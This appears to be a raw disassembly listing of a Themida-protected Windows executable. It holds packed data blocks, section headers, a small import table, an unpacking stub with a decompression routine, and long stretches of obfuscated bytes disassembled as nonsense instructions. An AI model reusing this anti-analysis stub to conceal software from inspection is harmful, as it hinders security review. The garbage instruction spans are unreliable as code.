		dd 9F208C80h, 0DF096CC7h, 0EBF9C9E3h, 4E3B8D20h, 878F0FCEh
		dd 0FA4052F0h, 21ECDFDFh, 8D1AF3DEh, 0FCC6A4DBh, 49E0A5E6h
		dd 0AE099E81h, 987E3195h, 8BBA88AEh, 0CDEA2457h, 0A689A320h
		dd 82EE0F15h, 6CFAC671h, 0BD2D38C1h, 0AE880E2Dh, 4E4BDAF5h
		dd 88EFE8AAh, 0AED4687h, 0C3C14317h, 8D127529h,	0D9E0B90Ah
		dd 2122D8C3h, 9C39C227h, 6ACC593Dh, 8DE79485h, 14E16B4Fh
		dd 0AC658E1Dh, 5C27E2E8h, 0C685949Dh, 5156B939h, 0D3CEC9DAh
		dd 8DE41C17h, 0F6CD63D1h, 999A83F4h, 81A1633Bh,	0A7A58D77h
		dd 0B51201FDh, 69B7BE2Bh, 0D4E9D610h, 647B7ECEh, 0B41AFA88h
		dd 2ED4BD2Eh, 71084A16h, 0FAAF02D9h, 0EB05EAA3h, 93EED8D1h
		dd 0D849DFB2h, 0B023C7F4h, 0DFCC73BDh, 9A936FF9h, 0CE3EB8B9h
		dd 4D539E9h, 93B0D105h,	93E0D0BBh, 8BAF6FCCh, 94215199h
		dd 0ABC7F9FFh, 0AB9ADF2Fh, 74ABF1C2h, 88DBB4A5h, 71BC00C3h
		dd 0ADA39959h, 51B1AB91h, 0F718A583h, 3396388Fh, 28DD9739h
		dd 0A811293Ah, 5F31EE43h, 0E2E8B5DCh, 8D06D734h, 0A5D594A1h
		dd 0AF2C8AD6h, 0DAE754C1h, 8A231836h, 8EAEEB48h, 2C3482C9h
		dd 0F3F7A93Fh, 97CDBCC7h, 8F5BB559h, 0FB93BFF4h, 0A33FD853h
		dd 0A1E45D2Ch, 4808A656h, 0AD136CA0h, 0AFCD25F1h, 0D0ADCEBh
		dd 3168DDFCh, 739DBE9Fh, 780585F4h, 0AE1D63ACh,	3BCDEE88h
		dd 6BA8F07Fh, 0B2197D58h, 41FD15D5h, 2A3CB46Dh,	63F154C9h
		dd 9B7E9F43h, 0F51E08E6h, 0EA4ED4F3h, 5946D66Eh, 22EB0531h
		dd 77C53931h, 0E135BB11h, 831587D1h, 67F62781h,	9DCB2127h
		dd 58E8D9B1h, 0D0395D68h, 0F3BEB545h, 0EAF9338Ch, 1D41B64Dh
		dd 5EF690A9h, 0A6C6E7C6h, 87077BEFh, 3EC0CC8Fh,	5BCFCF9Ch
		dd 0EAD43CB5h, 89BFB116h, 8B8C6969h, 91C18BEFh,	0C6BDDB23h
		dd 8CC5E79Eh, 920FBDA2h, 6232D3A9h, 47F2444Dh, 0E8F3A7CBh
		dd 0B32D1A20h, 0D6E52127h, 0A4C363FEh, 71EAAC9Fh, 5854DDB5h
		dd 0BDBEB2A1h, 28B05B54h, 0E130CEE6h, 7E3195F2h, 0CF414D53h
		dd 902249FAh, 49F82AC2h, 0F3796C67h, 9634BE9Ah,	0EF7E83D4h
		dd 0FDC5BBE9h, 76CD8F69h, 0A40550B5h, 0F9D06CA3h, 7AF6A5F1h
		dd 0CCDE8B98h, 61001E55h, 2A3938E5h, 208D3E3Fh,	9977A417h
		dd 9EBC37AAh, 0BC219EF1h, 4799E857h, 95EE0AF8h,	6AA6F3DFh
		dd 94E0D3CDh, 3E343BA3h, 0FE99D075h, 33C17DF9h,	9410BD20h
		dd 0EBFC32F1h, 0ADEBFBCAh, 0E5E9E26Fh, 1A3FCA87h, 8BAC8BA5h
		dd 9DAB5D7Ch, 0F5486FEBh, 372552DBh, 10F2EF1Dh,	0E559FA16h
		dd 1D5ACCC4h, 0BB575830h, 0C7C08490h, 0E76049C8h, 215E81DFh
		dd 0A122B9A0h, 0ADC6B964h, 9DA4AC81h, 2759F77Eh, 0BABF9922h
		dd 309DAED6h, 0B467D620h, 82D247FDh, 8C9A315Ah,	2E313A24h
		dd 95A5B49Dh, 0E5A8A19Ch, 0FE786CC0h, 0BBC97FDDh, 0B4C9E92Ch
		dd 52D5BFF5h, 74E82BA5h, 0D840F011h, 8CBE8233h,	453149C9h
		dd 85D78B20h, 1205B9E3h, 1531877Ch, 0F982C7C7h,	53FA7F49h
		dd 6D4A4A58h, 0DBF1FEA7h, 3EDE06EEh, 909384F3h,	27E53022h
		dd 433DA0FCh, 0BB052D31h, 24EEF85Ch, 9D769634h,	0D3129DBh
		dd 1B3DD15Bh, 6E18D136h, 0C55A6D95h, 0A19DCD2h,	701D49C9h
		dd 0B96348A2h, 9B1AF3DEh, 24EBEDE5h, 0B91A2056h, 8868156Eh
		dd 0A7015C3Bh, 0B6F61931h, 1D9BE9F0h, 0B4897B8Fh, 6A46EED6h
		dd 141E4EDDh, 0CBB48FEFh, 5CCE8BC9h, 43B988B9h,	54C9A73Fh
		dd 5EC78CF0h, 75C26446h, 9C4857C0h, 0B42D813Eh,	39748D3Ah
		dd 0DBFC3EECh, 2FCBFCFDh, 0E74CB2D5h, 0A7798FF2h, 0CAB4D11Bh
		dd 4CCB8212h, 7916D4E9h, 0E2C75064h, 0C0E0CE7h,	165DFC23h
		dd 0F305CEh, 7D46C29Eh
		dd 1D6BA5DEh, 9E060BCCh, 8E5DC1Eh, 0CC0E8383h, 0A3272EF1h
		dd 9A2A1CCFh, 78F0B017h, 3FB84384h, 0D979A52Eh,	0F4C10572h
		dd 0CC8B8B07h, 0BD0018F2h, 0FC5FDD86h, 0AD6FA7C7h, 5111FBB9h
		dd 7A169605h, 0F5EDD8D6h, 8B07E8BBh, 0FD0BE3DFh, 80E68065h
		dd 0E51FEB8Ah, 0D0F5445Fh, 9B971008h, 0C773C187h, 52894A45h
		dd 50477ED7h, 0A33F037Eh, 95B39097h, 0E7F184EFh, 0BF6488F9h
		dd 5CFDD22Bh, 0E30883E7h, 0F034CAA4h, 4FE3ED7h,	24B93C27h
		dd 0A480CCCEh, 0FE3E11D9h, 84D5AAF4h, 536EC5F3h, 49D9E830h
		dd 9569E72Fh, 65686B59h, 8C278E76h, 8C2C13E2h, 0D47E4771h
		dd 1051D288h, 0D51E1202h, 29520176h, 0D6941FC3h, 2351DD03h
		dd 977D1172h, 0D752530Ch, 26471FCEh, 0D5133C02h, 8A531143h
		dd 0D642060Ch, 2751D669h, 0EC5C1647h, 5E099EE7h, 3C214409h
		dd 0BEBAB5E0h, 51888A1Dh, 3E221AB5h, 0C8BA804Fh, 0FA62631Dh
		dd 742166B5h, 55BA1DEAh, 0E8ECEA1Dh, 882111B5h,	55BAA8F9h
		dd 836FAB1Dh, 6B22F6B5h, 0ADBAD618h, 0E506C21Dh, 6CEEB1B4h
		dd 8A323114h, 69929169h, 0EB891F86h, 0D7CEDAB9h, 0B9A15CD5h
		dd 6A3C6D42h, 497EC53h,	0E9AB55FDh, 1911614Dh, 0AA13C449h
		dd 49DAAC9Ah, 0D16D7B72h, 687ED937h, 0D48C5EB5h, 0D5810B58h
		dd 5FB7h dup(0)
dword_430844	dd 2A38Eh dup(0)		db 0
byte_4D967D	db 3 dup(0)		; DATA XREF: sub_58A891+D6A6o
		dd 0E660h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
dword_514000	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_6299B1+5Ar
aB		db 'ÚÍ|',0
		align 4
aE		db 'Ïe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 0011A000 (1155072.)
; Section size in file		: 0011A000 (1155072.)
; Offset to raw	data for section: 00115000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 515000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0F2A1B840h, 403B0h, 5F81Ah, 15A172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058663E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00589ADB SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00589D51 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h ; DATA XREF: sub_6299B1+6w
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
		inc	eax


loc_515041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: start+57j
		mov	edi, eax


loc_515076:				; CODE XREF: start+1Bj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11526Ah
		add	ecx, edi
		jmp	short loc_515090
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: start+8j
		mov	eax, offset loc_58663E
		mov	ecx, offset word_51526A


loc_515090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_515265:				; CODE XREF: start:loc_515076j
					; start+9Dj
		jmp	loc_58663E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: start+77o
		dd 1563498h, 430138AFh,	2422BEABh, 22AF1BE1h, 0EE1AE171h
		dd 848B21BCh, 11C8FF3Ah, 0EFAE42B8h, 0BE1CDA4Eh, 37092F3h
		dd 33E4558Fh, 0FEFC283Dh, 39837FFh, 0F0507708h,	0AA0EE104h
		dd 42B83588h, 0DED6EFAFh, 9578F250h, 68548014h,	64696D65h
		dd 0AF506159h, 0FF0147BBh, 11EE2288h, 3622AFFAh, 77575094h
		dd 73655280h, 0E6726174h, 7A707141h, 0E1787C2Eh, 0BCBE014Ah
		dd 1CC5728Bh, 22E860D4h, 0ED815D00h, 7D134A7h, 4D951889h
		dd 21B50D23h, 20853244h, 83082B71h, 3822EDBDh, 8B0C7407h
		dd 0B8E222E8h, 0C27B5D52h, 244470C7h, 0C1313E1Ch, 0E8456A4Bh
		dd 682983A3h, 0E783749Ah, 0A01DFA5h, 0A894B25h,	0E910D5E9h
		dd 0ECA50214h
; ---------------------------------------------------------------------------
		jge	short $+2
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003595h
		fcmovb	st, st(7)
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne cmp edi, 4Bh
		adc	[esi-14BCE7EEh], ah
		loope	loc_5153A2
		fsub	qword ptr [ecx-23h]
		db	26h
		add	eax, 104C2C9h
		inc	esi
		add	esp, 2A3FF7Ch
		dec	ecx
		xchg	eax, ecx
		fiadd	word ptr [eax]
		lea	eax, [ebp-80h]
		mov	ebx, [ebp+8]
		mov	dword ptr [ecx-7Bh], 8D501219h ; CODE XREF: Themida_:005153B4j
		or	byte ptr [edx],	0D1h
		retn
; ---------------------------------------------------------------------------
		mov	[eax], bl
		sub	al, [ecx-77h]
		or	ebp, [eax]
		cmp	dword ptr [ebp+755D8006h], 0A27A5E3h


loc_5153A2:				; CODE XREF: Themida_:0051536Aj
		lea	edi, [edx+75013B64h]
		or	byte ptr [edx+24F4BB0Eh], 5Bh
		mov	eax, 5437AB03h
		js	short near ptr loc_515386+3
		sal	bl, 1
		femms
		or	[ebx+75h], cl
		test	ecx, 4647C3AFh
		dec	ecx
		dec	edx
		sbb	[esi-7], al
		test	al, 42h
		shl	dword ptr [ecx-52h], 1
		mov	al, [ecx-9280F30h]
		out	dx, al
		sub	[ebp-4], al
		dec	ebp
		sub	bl, ch
		add	al, 0ADh
		repne inc esi
		xor	[eax-4508BFC2h], eax
		dec	ebp
		test	[ecx+0C7D8634h], bh
		jmp	short loc_51546C
; ---------------------------------------------------------------------------
		db 3Eh,	43h, 0F8h
		dd 0F0126D32h, 0F40E2A13h, 0C14A0510h, 4F065h, 0E0D1F8D6h
		dd 80E5C203h, 8ADB3328h, 7380301Ch, 0A7230FBh, 577390Ah
		dd 0C9FBEBF4h, 61149F22h, 660A0DD9h, 1EBD08FDh,	0AC33A7Dh
		dd 411A10B0h, 0AC30B72h, 7A067746h, 5D018824h, 0F4ECF061h
		dd 2CC7D83h, 0CB06C72h,	0A5DD76C0h, 0F826AA99h,	8D1D3807h
		dd 3B02A8A8h, 820FFC55h, 0B0BDA778h, 0F938AA06h, 8308BA43h
		dd 0A17082B9h
; ---------------------------------------------------------------------------


loc_51546C:				; CODE XREF: Themida_:005153EBj
		cld
		mov	ebp, 0FE003724h


loc_515472:				; CODE XREF: Themida_:loc_515476j
		cmova	eax, [edi]
		dec	ecx


loc_515476:				; CODE XREF: Themida_:005154C0j
		jnz	short loc_515472
		mov	ecx, 706A1722h
		mov	ebx, 1D125101h
		icebp
		sub	bl, 0B7h
		add	ah, [eax-72h]
		xchg	dh, [eax]
		cmp	[edi], edi
		ror	byte ptr [eax],	cl
		mov	eax, 45363F65h
		fmul	qword ptr [edx-16EC10DAh]
		in	al, 47h
		pop	ecx
		imul	esi, edi, 56h
		xchg	eax, esi
		add	al, 13h
		sbb	al, 21h
		pop	esi
		les	eax, [eax+5256D8Ah]
		add	byte ptr [ebp-34h], 8
		push	ds
		and	[esi+0], eax
		push	esi
		les	ebx, [edi-161F9225h]
		mov	ds:0CB363D00h, eax
		js	short loc_515476
		lds	esp, [ecx+67h]
		add	[edx+103AC1CFh], al
		sal	bl, 62h
		rcl	byte ptr [edx],	0E4h
		mul	byte ptr [edx+5318C32Ch]
		jmp	far ptr	0CE00h:12084D0Dh
; ---------------------------------------------------------------------------
		dw 9BD9h
		dd 94283F50h, 0C12519B9h, 40F1AC5Ch, 0E08C6787h, 3460CBE4h
		dd 4E39820Eh, 0F76005Bh, 3D51B810h, 3BF8D104h, 58C346ECh
		dd 0AB2E0975h, 480E0111h, 9065E4ECh, 847C4006h,	8E1505C5h
		dd 23994396h, 0C204C253h, 718C29A2h, 0EE78D86h,	0FF98A6DDh
		dd 6077812Bh, 341D2204h, 0F90C84C1h, 0BC207533h, 0ABB833Fh
		dd 3039EFB3h, 0EC419C02h, 0CC7F8C4Ch, 8640FCFFh, 0E952457Fh
		dd 0C4628060h, 44D8C52h, 0AA821125h, 68AB26B1h,	4513845Ah
		dd 5EFF3056h, 4E55EE82h, 0C204281h, 0B9D58A27h,	29231310h
		dd 67404397h, 0A1C9A9BCh, 8DDCDFD5h, 0C48200DAh, 16E9869Ah
		dd 500E281h, 140301BCh,	7ECA0B70h, 47456A10h, 87531141h
		dd 8A22C45Bh, 43001C55h, 0F590C453h, 3AF1F6Ah, 9FAC6F4Eh
		dd 8430610Fh, 62F106CBh, 168619C8h, 0AA02D218h,	0C1F473Fh
		dd 0DA69EA0Ah, 1747DC0Ah, 100A914Fh, 1D058Dh, 8AA40EBCh
		dd 1D68CA86h, 465C5E28h, 83EA001Bh, 66E8FBC0h, 0FE8B39B7h
		dd 1898D924h, 9325EDFh,	9522E981h, 68765900h, 29165FBAh
		dd 8FF60F06h, 0DCE676Fh, 5C04C0DFh, 72B4D4FEh, 3913EA30h
		dd 10324Bh, 0FDF4F958h,	860624AFh, 49027970h, 64C28248h
		dd 0F7D78362h, 8CE7006Fh, 0BBCA34F3h, 87387CC6h, 1A35127Bh
		dd 0C609B716h, 500110EAh, 64710015h, 20C8827Dh,	0D3BC5C1h
		dd 0D9F880FAh, 8C5A9AEFh, 9D1EC7D1h, 0B221165Eh, 886EC707h
		dd 90508B58h, 0A8F90C05h, 0F5C912Bh, 8257D98Ah,	0A14A9262h
		dd 9BD264C1h, 3C118EB0h, 0FA92F38Eh, 500DF8D9h,	0FA8B212Ah
		dd 0BF288081h, 19232778h, 152BEA56h, 2C8D470h, 87573800h
		dd 7C49F405h, 0CB47001Eh, 78B3EDBBh, 49B281EAh,	0B900DC79h
		dd 793E3AD8h, 0EB7248h,	2E87E2A0h, 0CBA6F90Ah, 820776F6h
		dd 0D69E7A77h, 1ED0B480h, 9CA30066h, 0B7C7DEA7h, 20C072A6h
		dd 47A9EE8Dh, 0D3EC07D5h, 0F023B41Eh, 1409464Dh, 64554803h
		dd 8D9224h, 2AF5F450h, 0A3CD1F4Bh, 6405660h, 0C18CF630h
		dd 72CACF71h, 0AAD4DCF1h, 1BBDD3Eh, 0A3B69541h,	1B70C42Dh
		dd 9274AFh, 9388243Ch, 56A710A9h, 712DA40Fh, 48402795h
		dd 782CCD60h, 926818C2h, 0E57D8194h, 0E70B5300h, 76F3F67Fh
		dd 632600E6h, 86FA2DFCh, 9307503Fh, 0ABD71961h,	99858C1Eh
		dd 0AFF637A0h, 0FF5A80B0h, 42197B1Fh, 0DA218776h, 84D2C4h
		dd 0DD13D6E0h, 2BBBBDD1h, 9D0135E4h, 0AAD755FFh, 31808B0Dh
		dd 0C22D4904h, 2E00D9F5h, 5F9C8A6Dh, 19F655FCh,	28E90A7Ah
		dd 506AD58Dh, 33EBF7B4h, 1194A637h, 8E125440h, 0BBE2039Dh
		dd 1F13F468h, 77B0ADABh, 7A7E782Bh, 66AFDF00h, 0AA259454h
		dd 0E3C60002h, 774213B4h, 0B607BEB9h, 0B508076Eh, 813B8682h
		dd 0CAF6450Ch, 0BC0020BEh, 44A35331h, 723016B7h, 0A79F1986h
		dd 1DAF00B3h, 17883615h, 0CA00EB51h, 3761D8CDh,	7EA33F0h
		dd 0D735E1B2h, 5D4DE0BDh, 55004BCEh, 9EC20668h,	0C47D040h
		dd 0E215CF35h, 83301620h, 0FB960A2h, 549E50C8h,	0D479C08Dh
		dd 24D69812h, 22559900h, 0FD9A3DB9h, 39FF7ED3h,	1FB66EAh
		dd 7ADA6D78h, 80BD4148h, 1E3FE551h, 0C060408Ah,	7FCA4BE9h
		dd 4F756BA9h, 0B3067A71h, 0A6EF993Ch, 71C611F0h, 738D0093h
		dd 195737D1h, 18998B9h,	4787FE40h, 0EC8506CEh, 4C7D3B9Eh
		dd 9DB931C1h, 2BF0A645h, 0EDCC3CD8h, 8DF1403h, 81005215h
		dd 59F1C772h, 8482EBh, 56D92F62h, 770CB85Ch, 0E3DB500h
		dd 0B6C1ABEEh, 550F7F71h, 0A4018850h, 0BB006249h, 0E100B31Ah
		dd 59BC19Eh, 0C0A93741h, 0F8D03BC0h, 0D2184606h, 0F9E8DB27h
		dd 24C3500Fh, 9D190017h, 351833CBh, 25070DFh, 7CA06EC4h
		dd 99008AA3h, 7B418571h, 3F924C26h, 0C60639A6h,	29BF6F16h
		dd 362CF800h, 457F62A4h, 4B9B4842h, 0C6E6850Ah,	9D5007F4h
		dd 927074C1h, 0F400D808h, 0E15028Ah, 6D278976h,	6741B8A1h
		dd 59C080A5h, 8EDADCC3h, 98318C9h, 4615F04Eh, 30B1A0A9h
		dd 33D4DACh, 0E745077Eh, 4326D216h, 0CA50F21h, 61604710h
		dd 0DF4C96ECh, 0AFDBCE04h, 389290D5h, 0ABFC99BEh, 3B747F0h
		dd 31133EE1h, 8803A257h, 0CA0298Fh, 0B5800B5h, 1D95A66Dh
		dd 990071FFh, 652CE7CFh, 42AE84Fh, 77ABF0AFh, 174081FDh
		dd 8A81F038h, 45D5B61Ch, 69D833Eh, 0A08104Ch, 25C99E51h
		dd 0D23B00C4h, 45A3DABCh, 7023D0A8h, 7E00E97Bh,	3C37EFC1h
		dd 1FB31CBh, 8FCC5F07h,	0F90FA5FCh, 48318953h, 0E278103Fh
		dd 782D00C6h, 3C4F6E0Eh, 0B061CF31h, 4A4BE7D0h,	0C7354040h
		dd 88DC50C5h, 7EB8C274h, 0ECA1876Eh, 0EF40E2C3h, 11FB7CE3h
		dd 2EB25988h, 0D4CE5800h, 455323E3h, 318861C9h,	51443786h
		dd 8051A3C0h, 0D6F36A99h, 4224E10h, 0AAC9B4E2h,	4A4880A4h
		dd 7C60C031h, 88C2B698h, 0B31918F7h, 41B951D5h,	0F9C4CF18h
		dd 2A9E78A0h, 0FB0E7D8h, 1F06207Eh, 0AD7BC5E3h,	0FE3D5000h
		dd 0B72F5309h, 0CE8B000Fh, 3C28F6ACh, 0B00017F1h, 83B2CCC2h
		dd 7C1757Ch, 48FE2E09h,	9BACD35Ch, 0A43453F0h, 38009AE8h
		dd 1347F15Eh, 3C510A40h, 0FB0F436Bh, 3780067Dh,	0C2E302EBh
		dd 70000EE0h, 448F62Dh,	6F79CAh, 6AE79A3Fh, 0F5FD76CBh
		dd 332B4607h, 4E60DC9Bh, 1234C0Ah, 0B652A03Bh, 40A8E389h
		dd 0B9E7A380h, 1803BF7Ah, 2DC39EF1h, 9D8BE74h, 0A5639112h
		dd 0A446EC12h, 0F1F7D515h, 990A78E0h, 0BC48A2E6h, 631D7A80h
		dd 0FB37A8h, 964EDEBCh,	7776F50Ah, 39DFBB09h, 13CCA189h
		dd 30017E55h, 4C0462B6h, 19C44403h, 0CD0040B0h,	0A304D7Bh
		dd 78B09DC2h, 612530D1h, 71E76838h, 0DF31C160h,	0F05312h
		dd 365A2573h, 263BC99h,	0B89AE074h, 0A65F891Ah,	0B25801F9h
		dd 0D8D08BC6h, 0A450001Ah, 0F16A4F20h, 1C983B80h, 0B03D95A3h
		dd 45610621h, 24718FCBh, 80680A9Ch, 8D138EF9h, 7100A67Ah
		dd 6C0BAC22h, 0C13BD7h,	0EBB4AB56h, 233B5F7h, 40DDB32Ch
		dd 28E6508h, 7F0948A6h,	20C2AC66h, 0D625D7h, 52DAFCCEh
		dd 0F948760Ch, 30982869h, 90C147A3h, 0AE07608Ah, 146A229Dh
		dd 5A8FA480h, 832B06EDh, 0B1DA71E2h, 0E6E85D00h, 64736B5Fh
		dd 5614008Ch, 2F70622h,	0AC02669Eh, 0A00E4C83h,	7FC8A0B7h
		dd 0CED772h, 0C2F924AFh, 13D215FDh, 884BA930h, 8876DC0Fh
		dd 4E0A4916h, 90ADF445h, 449C046h, 741C9F02h, 939480E0h
		dd 2103F4C5h, 76204A2h,	1E482249h, 8214484Dh, 0C8C69D7h
		dd 0D220DB29h, 10A609B8h, 0C002935h, 3747864Eh,	0D5717860h
		dd 0C0B76DDFh, 0F7F7938h, 0BA481DC6h, 3D7A0174h, 4B4855FAh
		dd 75AF3450h, 20108126h, 7654B2F4h, 15890D48h, 835448DAh
